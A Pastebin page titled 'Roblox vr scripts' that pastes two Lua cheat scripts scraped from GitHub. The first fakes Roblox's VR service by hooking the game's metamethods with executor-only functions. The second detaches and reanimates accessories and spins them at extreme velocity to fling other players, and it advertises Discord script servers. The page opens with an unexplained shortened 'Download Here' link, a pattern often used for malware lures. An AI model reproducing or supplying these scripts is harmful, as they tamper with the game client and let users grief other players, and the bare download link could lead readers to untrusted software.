Advertisement
Guest User

Roblox vr scripts

a guest
Nov 9th, 2024
1,001
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.87 KB | None | 0 0
  1. -
  2. Download Here --> https://tinyurl.com/ytwvd2es (Copy and Paste Link)
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. Name already in use
  10. A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
  11. Scripts / VR Hands
  12. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
  13.  
  14. Open with Desktop
  15. View raw
  16. Copy raw contents Copy raw contents Copy raw contents
  17. This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
  18. local cam = workspace.Camera local p local headObject local events = local controls = [Enum.UserInputType.MouseButton1] = , [Enum.UserInputType.MouseMovement] = , -- do not change [Enum.UserInputType.MouseWheel] = , [Enum.UserInputType.MouseButton2] = , [Enum.KeyCode.W] = , [Enum.KeyCode.A] = , [Enum.KeyCode.S] = , [Enum.KeyCode.D] = , [Enum.KeyCode.Q] = , [Enum.KeyCode.E] = , [Enum.KeyCode.LeftShift] = , [Enum.KeyCode.LeftControl] = , [Enum.KeyCode.LeftAlt] = , [Enum.KeyCode.Z] = , [Enum.KeyCode.R] = , [Enum.KeyCode.Tab] = , [Enum.KeyCode.Left] = , [Enum.KeyCode.Right] = > local services = setmetatable(services, __index = function(t, k) services[k] = rawget(services, k) or game:GetService(k) return services[k] end >) local function angleBetween(vecx, vecy) return math.acos(vecx:Dot(vecy)) end local hand = hand.__index = hand function hand:gesture(gestureName, keyState) if keyState ~= 1 then return end headObject.realHeadset[self.id .. gestureName] = 1 - headObject.realHeadset[self.id .. gestureName] end function hand:getMouseRay() local mousePos = services.UserInputService:GetMouseLocation() return CFrame.new(cam:ViewportPointToRay(mousePos.x, mousePos.y).Direction * (1.5 + headObject.handOffset)) end function hand:calculateEndRotation() return CFrame.Angles(cam.CFrame:ToEulerAnglesXYZ()) * CFrame.Angles(self.rotation[1] * (math.pi/6), self.rotation[2] * (math.pi/6), self.rotation[3] * (math.pi/6)) end function hand:updateTarget() local camLook = (cam.CFrame.lookVector * Vector3.new(1,0,1)).unit local theta = angleBetween(Vector3.new(-1, 0, 0), camLook) theta = camLook.z > 0 and (2 * math.pi) - theta or theta local relativeAngle = (self.id == "l" and -headObject.handAngle or headObject.handAngle) local startPosition = CFrame.new(-math.cos(theta + relativeAngle), -0.5, -math.sin(theta + relativeAngle)) + (camLook * headObject.handOffset) self.targetPosition = startPosition:Lerp(self:getMouseRay(), self.alpha) * self:calculateEndRotation() self.replicatePosition:Fire() end function hand:beginMove(minAlpha, maxAlpha) local distAlpha = (maxAlpha - minAlpha) / 2 self.moving = true repeat services.RunService.RenderStepped:wait() self:updateTarget() self.alpha += self.alphaMultiplier until math.abs(self.alpha - minAlpha) if self.alpha ~= self.alpha then self.alpha = 0 end self.moving = false end function hand:move(keyState) if headObject.rotationManager.active then if self.id == "l" then headObject.rotationManager.held = keyState == 1 headObject.rotationManager.selectedAxis = 0 end return end self.alphaMultiplier = keyState == 1 and 0.05 or -0.05 if not self.moving and not (keyState == 1 and self.alpha >= 1) then if keyState == 1 then headObject.recentHand = self end self:beginMove(0, 1) end end function hand:new(direction, realHand) local newHand = setmetatable(, hand) newHand.alpha = 0 newHand.alphaMultiplier = 0.05 newHand.id = direction and "r" or "l" newHand.targetPosition = CFrame.new() newHand.moving = false newHand.rotation = newHand.replicatePosition = Instance.new("BindableEvent") newHand.replicatePosition.Event:connect(function() events.UserCFrameChanged:Fire(newHand.direction and Enum.UserCFrame.RightHand or Enum.UserCFrame.LeftHand, newHand.targetPosition) end) return newHand end local head = head.__index = head function head:handleInput(input, keyState) local bind = controls[input.KeyCode] or controls[input.UserInputType] if bind then if bind[1] == "updateTarget" and not self.rotationManager.active then self.leftHand:updateTarget() self.rightHand:updateTarget() elseif bind[2] and type(self[bind[2]]) == "table" then self[bind[2]][bind[1]](self[bind[2]], keyState, bind[3]) elseif bind[3] then self[bind[1]](self, bind[3], keyState) elseif bind[2] and self.recentHand[bind[1]] then self.recentHand[bind[1]](self.recentHand, bind[2], keyState) else self[bind[1]](self, bind[2], keyState) end end end function head:adjustOffset(_, keyState) if self.canOffset then self.handOffset += keyState * 0.04 self.leftHand:updateTarget() self.rightHand:updateTarget() end end function head:move(vec, keyState) if vec.z ~= 0 then self.realHeadset.Stick2 = math.clamp(self.realHeadset.Stick2 + (vec.z * keyState), -1, 1) else self.realHeadset.StickPosition += Vector3.new(vec.x, vec.y, 0) * keyState end end function head:freezeCam(b) local dist = (self.realHeadset.Head.PrimaryPart.Position - cam.CFrame.p).magnitude p.CameraMinZoomDistance = b and dist or 0.5 p.CameraMaxZoomDistance = b and dist or 128 end function head:toggle(stat, keyState) if keyState ~= 1 then return end self[stat] = not self[stat] if stat == "canOffset" then self:freezeCam(self[stat]) end end local rotation = rotation.__index = rotation function rotation:new() local newRotation = setmetatable(, rotation) newRotation.rotationLookup = , , > newRotation.lineLookup = , , > newRotation.active = false newRotation.held = false newRotation.selectedAxis = 0 newRotation.angleLookup = for i=1,3 do local ref = ref[i] = function() return 0 end ref[i + 1 > 3 and ((i + 1) % 4) + 1 or i + 1] = math.cos ref[i + 2 > 3 and ((i + 2) % 4) + 1 or i + 2] = math.sin local color = Color3.fromRGB(i == 1 and 255 or 0, i == 2 and 255 or 0, i == 3 and 255 or 0) for j=1,13 do if j local step = math.pi * (j/6) newRotation.rotationLookup[i][j] = Vector3.new(ref[1](step), ref[2](step), ref[3](step)) end local line = Drawing.new("Line") line.Visible = true line.Thickness = 5 line.Color = color newRotation.lineLookup[i][j] = line end local circle = Drawing.new("Circle") circle.Visible = true circle.Color = color circle.Filled = true circle.Radius = 10 circle.Position = Vector2.new(-2000, -2000) newRotation.lineLookup[i][14] = circle local text = Drawing.new("Text") text.Visible = true text.Font = Drawing.Fonts.System text.Size = 18 text.Color = Color3.new():lerp(color, 0.3) text.Outline = false newRotation.lineLookup[i][15] = text end return newRotation end function rotation:selectAxis(keyState) self.tabActivated = keyState == 1 if self.tabActivated then self.selectedAxis = math.clamp((self.selectedAxis + 1) % 4, 1, 3) end end function rotation:toggle(keyState) if keyState == 1 and headObject.recentHand.alpha self.active = not self.active if not self.active then self:updateAxes(0) self.selectedAxis = 0 self.held = false headObject.recentHand:updateTarget() end end end function rotation:updateAxes(visibleOverride) local basePos = headObject.recentHand.realHand.Base.Position local basePoint = cam:WorldToViewportPoint(basePos) for i=1,3 do for j=1,12 do local vec, visible = cam:WorldToViewportPoint(basePos + (self.rotationLookup[i][j] * 10)) local vec2, visible2 = cam:WorldToViewportPoint(basePos + ((self.rotationLookup[i][j + 1] or self.rotationLookup[i][1]) * 10)) local line = self.lineLookup[i][j] line.Transparency = visibleOverride or ((visible and visible2) and 1 or 0) line.From = Vector2.new(vec.x, vec.y) line.To = Vector2.new(vec2.x, vec2.y) end local axisRotation = headObject.recentHand.rotation[i] local axisMover = self.lineLookup[i][13] local axisCircle = self.lineLookup[i][14] local axisText = self.lineLookup[i][15] axisMover.From = Vector2.new(basePoint.x, basePoint.y) axisMover.To = self.lineLookup[i][math.clamp(axisRotation axisMover.Transparency = visibleOverride or 1 axisCircle.Position = self.lineLookup[i][13].To axisCircle.Transparency = visibleOverride or 1 axisText.Position = self.lineLookup[2][3].From + axisText.TextBounds axisText.Text = string.char(87 + self.selectedAxis) .. ": " .. math.deg(axisRotation * (math.pi / 6)) axisText.Transparency = visibleOverride or ((self.held or self.tabActivated) and self.selectedAxis == i and 1 or 0) local mousePos = services.UserInputService:GetMouseLocation() if self.held and (self.lineLookup[i][14].Position - mousePos).magnitude self.selectedAxis = i end end end function rotation:updateAxisMover(keyState, direction) if keyState and direction then if self.tabActivated and keyState == 1 then headObject.recentHand.rotation[self.selectedAxis] = (headObject.recentHand.rotation[self.selectedAxis] + direction) % 12 headObject.recentHand:updateTarget() end return end if self.selectedAxis ~= 0 then local mousePos = services.UserInputService:GetMouseLocation() local circlePos = self.lineLookup[self.selectedAxis][12].From local handPos = self.lineLookup[self.selectedAxis][13].From local mouseDir = self.selectedAxis == 1 and headObject.recentHand.id == "r" and (Vector2.new(-mousePos.x + (handPos.x * 2), mousePos.y) - handPos).unit or (mousePos - handPos).unit -- mouse angle relating to the red circle is reflected on the right hand, so i "re-reflect" it. bad practice local circleDir = (circlePos - handPos).unit local rotationTheta = angleBetween(mouseDir, circleDir) local direction = mouseDir:Cross(circleDir) rotationTheta = direction > 0 and rotationTheta or (2 * math.pi) - rotationTheta if rotationTheta == rotationTheta then headObject.recentHand.rotation[self.selectedAxis] = math.floor(6 * rotationTheta / math.pi) local hand = headObject.recentHand hand.targetPosition *= CFrame.Angles(hand.targetPosition:inverse():ToEulerAnglesXYZ()) * hand:calculateEndRotation() hand.replicatePosition:Fire() end end end function head:new(realHeadset) local newHead = setmetatable(, head) newHead.leftHand = hand:new(false, realHeadset.lHand) newHead.rightHand = hand:new(true, realHeadset.rHand) newHead.canOffset = false newHead.recentHand = newHead.leftHand newHead.handOffset = 0 newHead.handAngle = math.pi / 4 newHead.rotationManager = rotation:new() newHead.chatRemote = debug.getupvalue(realHeadset.ButtonPressed, 3) cam:GetPropertyChangedSignal("CameraSubject"):connect(function() if cam.CameraSubject ~= headObject.realHeadset.Head then cam.CameraType = Enum.CameraType.Custom end end) services.UserInputService.WindowFocused:connect(function() newHead.realHeadset.StickPosition = Vector3.new(0, 0, 0) newHead.realHeadset.Stick2 = 0 end) return newHead end local ind, nc, nind local realVrService = game:GetService("VRService") local fakeVrService = setmetatable( VREnabled = true, SetTouchpadMode = function() end, RecenterUserHeadCFrame = function() end, GetUserCFrameEnabled = function(cf) return true end, GetUserCFrame = function(cf) return CFrame.new() end >, __index = function(t, k) local real = ind(realVrService, k) if typeof(real) == "RBXScriptSignal" then events[k] = events[k] or Name = k, Connect = function(t, f) t.Function = f if t.Name == "UserCFrameChanged" then headObject = head:new(debug.getupvalue(t.Function, 1)) services.UserInputService.InputBegan:connect(function(i) headObject:handleInput(i, 1) end) services.UserInputService.InputChanged:connect(function(i) headObject:handleInput(i, i.UserInputType == Enum.UserInputType.MouseWheel and i.Position.z or 0) end) services.UserInputService.InputEnded:connect(function(i) headObject:handleInput(i, -1) end) end end, Fire = function(t, . ) return t.Function(. ) end > return events[k] end return real end, __call = function(t, method, vr, . ) return t[method](. ) end >) ind = hookmetamethod(game, "__index", function(. ) local t, k = . local scr = getcallingscript() if t == realVrService and not (scr and ind(scr, "Name") == "CameraModule") then return fakeVrService[k] end return ind(. ) end) nc = hookmetamethod(game, "__namecall", function(. ) local t = . if t == realVrService then local method = getnamecallmethod() return fakeVrService(method, . ) elseif t == game.GetService(game, "StarterGui") and game.IsLoaded(game) then return end return nc(. ) end) nind = hookmetamethod(game, "__newindex", function(. ) local t, k, v = . local scr = getcallingscript() if t == cam and headObject then if k == "CFrame" and events.UserCFrameChanged then events.UserCFrameChanged:Fire(Enum.UserCFrame.Head, CFrame.Angles(cam.CFrame:ToEulerAnglesXYZ())) if headObject.rotationManager.active then headObject.rotationManager:updateAxes() if headObject.rotationManager.held then headObject.rotationManager:updateAxisMover() end end if headObject.rotationManager.tabActivated and services.UserInputService:IsKeyDown(Enum.KeyCode.Left) or services.UserInputService:IsKeyDown(Enum.KeyCode.Right) then -- prevent controls from messing with camera return end elseif k == "CameraType" then nind(t, k, Enum.CameraType.Custom) nind(t, "CameraSubject", headObject.realHeadset.Head) headObject.leftHand:updateTarget() headObject.rightHand:updateTarget() end if not (scr and scr.Name == "CameraModule") and not checkcaller() then return end end nind(t, k, v) end) p = services.Players.LocalPlayer or (function() services.Players:GetPropertyChangedSignal("LocalPlayer"):wait() -- this doesnt return anything for some reason?? return services.Players.LocalPlayer end)() p.Chatted:connect(function(c) services.ReplicatedStorage.COM.Chat:FireServer("Chat", c) end)
  19. Name already in use
  20. A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
  21. roblox-scripts / VR Edits / Resizable Collidable VR (WITH FLING).lua
  22. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
  23. 1 contributor
  24. Users who have contributed to this file
  25.  
  26. Open with Desktop
  27. View raw
  28. Copy raw contents Copy raw contents Copy raw contents
  29. This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
  30. --[[ default hats: Head (Not Required): https://www.roblox.com/catalog/2493590711/Knights-of-Redcliff-Paladin-Helmet Right Arm: https://www.roblox.com/catalog/2493718915/The-High-Seas-Beatrix-The-Pirate-Queen-Hat Left Arm: https://www.roblox.com/catalog/2962661117/Jester-Equinox-Hat YOU CAN CHANGE THESE HATS IN THE VARIABLES/SETTINGS BELOW (make sure to check their name in your character using dex) USE THE SIDE BUTTONS ON YOUR VR CONTROLLERS TO FLING WITH EACH HAND EDIT THE VARIABLES BELOW TO CHANGE WHATEVER YOU WANT. the variable "samenamearms" and "samearmsname" are for hats that have the same accessory name because they look the same turn headhat on for a hat as a head credits to Digitality for this edit (rest of the credits are in the script) join discord.gg/robloxscripts for more cool stuff ]] local velocity = Vector3. new ( 0 , 30 , 0 ) local flingvelocity = Vector3. new ( 50 , 0 , 50 ) local flingrot = Vector3. new ( 25e25 , 25e25 , 25e25 ) local tweentime = 5 local resize = false local justgrass = false local headhat = false local samenamearms = true local samearmsname = " Rayo " local HEADHAT = " MeshPartAccessory " local RIGHTHANDHATNAME = " PirateCaptain_HatAccessory " local LEFTHANDHATNAME = " JesterEquinox_HatAccessory " _G . velocity = velocity local old = game. Workspace . CurrentCamera . CFrame local stay = Instance. new ( " BodyVelocity " ) stay. MaxForce = Vector3. new ( math.huge , math.huge , math.huge ) stay. P = math.huge stay. Velocity = Vector3. new ( 0 , 0 , 0 ) game. Players . LocalPlayer . Character . HumanoidRootPart . Position = game. Players . LocalPlayer . Character . HumanoidRootPart . Position + Vector3. new ( 100000 , 100000 , 100000 ) for i, v in pairs (game. Players . LocalPlayer . Character : GetDescendants ()) do if v: IsA ( " BasePart " ) then stay: Clone (). Parent = v v. Anchored = true end end local c = game. Players . LocalPlayer . Character if resize then if not justgrass then for i, v in pairs (c. Humanoid : GetChildren ()) do if v: IsA ( " NumberValue " ) then for i, v1 in pairs (c: GetChildren ()) do if v1: FindFirstChild ( " AvatarPartScaleType " , true ) then repeat wait () until v1: FindFirstChild ( " OriginalSize " , true ) v1: FindFirstChild ( " OriginalSize " , true ): Destroy () v: Destroy () end end end end else for i, v in pairs (c. Humanoid : GetChildren ()) do if v: IsA ( " NumberValue " ) and v. Name ~= " BodyTypeScale " and v. Name ~= " BodyHeightScale " then for i, v1 in pairs (c: GetChildren ()) do if v1: FindFirstChild ( " AvatarPartScaleType " , true ) then repeat wait () until v1: FindFirstChild ( " OriginalSize " , true ) v1: FindFirstChild ( " OriginalSize " , true ): Destroy () v: Destroy () end end end end end end if c and c: FindFirstChild ( " Head " ) and c: FindFirstChild ( " Head " ): FindFirstChildOfClass ( " SpecialMesh " ) then c: FindFirstChild ( " Head " ): FindFirstChildOfClass ( " SpecialMesh " ): Destroy () end -- DROP ALL ACCESSORIES IN R6 AND R15 BY ShownApe#7272 local block = false local character = game. Players . LocalPlayer . Character game. Players . LocalPlayer . Character = nil game. Players . LocalPlayer . Character = character wait (game. Players . RespawnTime + 0.05 ) game. Players . LocalPlayer . Character . Humanoid : SetStateEnabled (Enum. HumanoidStateType . Dead , false ) for i, v in pairs (game. Players . LocalPlayer . Character : GetChildren ()) do if v. Name == " Torso " or v. Name == " UpperTorso " then v: Destroy () end end character. HumanoidRootPart : Destroy () for i, v in pairs (character: GetChildren ()) do if v: IsA ( " Accessory " ) then sethiddenproperty (v, " BackendAccoutrementState " , 0 ) -- any integer 0-3 works but 4, as 4 is the default state for in character, 0 is for when it has collision in character or other circumstances, 2 is workspace, 1 is unknown if you know or figure out please let me know -- BackendAccoutrementState is a replicated property similar to NetworkIsSleeping and is further documented in reweld end end if block == true then for i, v in pairs (character: GetDescendants ()) do if v: IsA ( " SpecialMesh " ) then v: Destroy () end end end character: FindFirstChild ( " Body Colors " ): Destroy () for i, v in pairs (game. Players . LocalPlayer . Character : GetDescendants ()) do if v: IsA ( " BasePart " ) then stay: Clone (). Parent = v v. Anchored = false end end wait () game. Workspace . CurrentCamera . CFrame = old local tweening coroutine.wrap ( function () tweening = true wait (tweentime) tweening = false end )() while tweening do for i, v in pairs (c: GetChildren ()) do if v: IsA ( " BasePart " ) then v. Velocity = flingvelocity end end game: GetService ( " RunService " ). Heartbeat : Wait () end tweenService, tweenInfo = game: GetService ( " TweenService " ), TweenInfo. new (tweentime, Enum. EasingStyle . Linear ) for i, v in pairs (c: GetDescendants ()) do if v: IsA ( " BasePart " ) then tweenService: Create (v, tweenInfo, ): Play () end end wait (tweentime) -- Made netless by ShownApe#1111 on discord, credits to sked for making the script originally -- This is R6 only as R15 accessories use meshparts for handles by default now -- Released in https://discord.gg/Hbq3TgAJbB -- Join my server for other releases that arent vr scripts if you'd like https://discord.gg/DcV3Qy3GwE local options = -- OPTIONS: options. headscale = 20 -- how big you are in vr, 1 is default, 3 is recommended for max comfort in vr options. forcebubblechat = true -- decide if to force bubblechat so you can see peoples messages if samenamearms then game. Players . LocalPlayer . Character [samearmsname]. Name = samearmsname .. " 1 " end options. headhat = HEADHATNAME -- name of the accessory which you are using as a head options. righthandhat = RIGHTHANDHATNAME -- name of the accessory which you are using as your right hand options. lefthandhat = LEFTHANDHATNAME -- name of the accessory which you are using as your left hand local righthand local lefthand if samenamearms then righthand = game. Players . LocalPlayer . Character [samearmsname] lefthand = game. Players . LocalPlayer . Character [samearmsname .. " 1 " ] else righthand = game. Players . LocalPlayer . Character [options. righthandhat ] lefthand = game. Players . LocalPlayer . Character [options. lefthandhat ] end options. righthandrotoffset = Vector3. new ( 0 , 90 , 0 ) options. lefthandrotoffset = Vector3. new ( 0 , 90 , 0 ) -- local plr = game: GetService ( " Players " ). LocalPlayer local char = plr. Character -- local backpack = plr.Backpack local VR = game: GetService ( " VRService " ) local input = game: GetService ( " UserInputService " ) local cam = workspace. CurrentCamera cam. CameraType = " Scriptable " cam. HeadScale = options. headscale -- game:GetService("StarterGui"):SetCore("VRLaserPointerMode", 0) game: GetService ( " StarterGui " ): SetCore ( " VREnableControllerModels " , false ) local function createpart ( size , name ) local Part = Instance. new ( " Part " , char) Part. CFrame = old Part. Size = size Part. Transparency = 1 Part. CanCollide = true Part. Anchored = true Part. Name = name return Part end local moveHandL = createpart (Vector3. new ( 1 , 1 , 2 ), " moveRH " ) local moveHandR = createpart (Vector3. new ( 1 , 1 , 2 ), " moveLH " ) local moveHead = createpart (Vector3. new ( 1 , 1 , 1 ), " moveH " ) local handL local handR local head if headhat then head = c: FindFirstChild (options. headhat ). Handle else head = c: FindFirstChild ( " Head " ) end if head: FindFirstChildOfClass ( " SpecialMesh " ) then head: FindFirstChildOfClass ( " SpecialMesh " ): Destroy () end local R1down = false local L1down = false local R2down = false local L2down = false local handR = righthand local handL = lefthand if handR and handR: FindFirstChild ( " Handle " ) and handR: FindFirstChild ( " Handle " ): FindFirstChildOfClass ( " SpecialMesh " ) then handR: FindFirstChild ( " Handle " ): FindFirstChildOfClass ( " SpecialMesh " ): Destroy () end if handL and handL: FindFirstChild ( " Handle " ) and handL: FindFirstChild ( " Handle " ): FindFirstChildOfClass ( " SpecialMesh " ) then handL: FindFirstChild ( " Handle " ): FindFirstChildOfClass ( " SpecialMesh " ): Destroy () end head. Transparency = 1 local connected = table.insert ( connected, char. Humanoid . AnimationPlayed : connect ( function ( anim ) anim: Stop () end ) ) for i, v in pairs (char. Humanoid : GetPlayingAnimationTracks ()) do v: AdjustSpeed ( 0 ) end workspace. CurrentCamera . CFrame = CFrame. new (workspace. CurrentCamera . CFrame . Position ) table.insert ( connected, input. UserCFrameChanged : connect ( function ( part , move ) if part == Enum. UserCFrame . Head then -- move(head,cam.CFrame*move) moveHead. CFrame = cam. CFrame * (CFrame. new (move. p * (cam. HeadScale - 1 )) * move) elseif part == Enum. UserCFrame . LeftHand then -- move(handL,cam.CFrame*move) moveHandL. CFrame = cam. CFrame * (CFrame. new (move. p * (cam. HeadScale - 1 )) * move * CFrame. Angles ( math.rad (options. righthandrotoffset . X ), math.rad (options. righthandrotoffset . Y ), math.rad (options. righthandrotoffset . Z ) )) elseif part == Enum. UserCFrame . RightHand then -- move(handR,cam.CFrame*move) moveHandR. CFrame = cam. CFrame * (CFrame. new (move. p * (cam. HeadScale - 1 )) * move * CFrame. Angles ( math.rad (options. righthandrotoffset . X ), math.rad (options. righthandrotoffset . Y ), math.rad (options. righthandrotoffset . Z ) )) end end ) ) head: BreakJoints () handR. Handle : BreakJoints () handL. Handle : BreakJoints () -- right -- 1 table.insert ( connected, input. InputChanged : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonR1 then if key. Position . Z > 0.9 then R1down = true else R1down = false end end end ) ) table.insert ( connected, input. InputBegan : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonR1 then R1down = true end end ) ) table.insert ( connected, input. InputEnded : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonR1 then R1down = false righthand. Handle . RotVelocity = Vector3. new () end end ) ) table.insert ( connected, game: GetService ( " RunService " ). RenderStepped : connect ( function () if R1down then cam. CFrame = cam. CFrame : Lerp ( cam. CoordinateFrame + (moveHandR. CFrame * CFrame. Angles ( - math.rad (options. righthandrotoffset . X ), - math.rad (options. righthandrotoffset . Y ), math.rad ( 180 - options. righthandrotoffset . X ) )). LookVector * cam. HeadScale / 2 , 0.5 ) end end ) ) -- 2 righthand. Handle . CanCollide = false righthand. Handle . Massless = true table.insert ( connected, input. InputChanged : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonR2 then if key. Position . Z > 0.9 then R2down = true else R2down = false end end end ) ) table.insert ( connected, input. InputBegan : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonR2 then R2down = true _G . velocity = flingvelocity end end ) ) table.insert ( connected, input. InputEnded : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonR2 then R2down = false _G . velocity = velocity righthand. Handle . Velocity = Vector3. new ( 0 , 0 , 0 ) righthand. Handle . RotVelocity = Vector3. new ( 0 , 0 , 0 ) end end ) ) table.insert ( connected, game: GetService ( " RunService " ). Heartbeat : connect ( function () if R2down then righthand. Handle . RotVelocity = flingrot end end ) ) -- left -- 1 table.insert ( connected, input. InputChanged : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonL1 then if key. Position . Z > 0.9 then L1down = true else L1down = false end end end ) ) table.insert ( connected, input. InputBegan : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonL1 then L1down = true end end ) ) table.insert ( connected, input. InputEnded : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonL1 then L1down = false end end ) ) table.insert ( connected, game: GetService ( " RunService " ). RenderStepped : connect ( function () if L1down then cam. CFrame = cam. CFrame : Lerp ( cam. CoordinateFrame + (moveHandR. CFrame * CFrame. Angles ( - math.rad (options. righthandrotoffset . X ), - math.rad (options. righthandrotoffset . Y ), math.rad ( 180 - options. righthandrotoffset . X ) )). LookVector * cam. HeadScale / 2 , 0.5 ) end end ) ) -- 2 lefthand. Handle . CanCollide = false lefthand. Handle . Massless = true table.insert ( connected, input. InputChanged : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonL2 then if key. Position . Z > 0.9 then L2down = true else L2down = false end end end ) ) table.insert ( connected, input. InputBegan : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonL2 then L2down = true _G . velocity = flingvelocity end end ) ) table.insert ( connected, input. InputEnded : connect ( function ( key ) if key. KeyCode == Enum. KeyCode . ButtonL2 then L2down = false _G . velocity = velocity lefthand. Handle . Velocity = Vector3. new ( 0 , 0 , 0 ) lefthand. Handle . RotVelocity = Vector3. new ( 0 , 0 , 0 ) end end ) ) table.insert ( connected, game: GetService ( " RunService " ). Heartbeat : connect ( function () if L2down then lefthand. Handle . RotVelocity = flingrot end end ) ) -- INPUTS DONE local function bubble ( plr , msg ) game: GetService ( " Chat " ): Chat (plr. Character . Head , msg, Enum. ChatColor . White ) end if options. forcebubblechat == true then table.insert ( connected, game. Players . PlayerAdded : connect ( function ( plr ) table.insert ( connected, plr. Chatted : connect ( function ( msg ) game: GetService ( " Chat " ): Chat (plr. Character . Head , msg, Enum. ChatColor . White ) end ) ) end ) ) for i, v in pairs (game. Players : GetPlayers ()) do table.insert ( connected, v. Chatted : connect ( function ( msg ) game: GetService ( " Chat " ): Chat (v. Character . Head , msg, Enum. ChatColor . White ) end ) ) end end table.insert ( connected, game: GetService ( " RunService " ). Heartbeat : connect ( function () lefthand. Handle . Velocity = _G . velocity lefthand. Handle . CFrame = moveHandL. CFrame righthand. Handle . Velocity = _G . velocity righthand. Handle . CFrame = moveHandR. CFrame head. Velocity = _G . velocity head. CFrame = moveHead. CFrame end ) ) local destroyc destroyc = head. Destroying : connect ( function () for i, v in pairs (connected) do v: Disconnect () print ( " Disconnected! " ) end print ( " Disconnected! " ) destroyc: Disconnect () end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement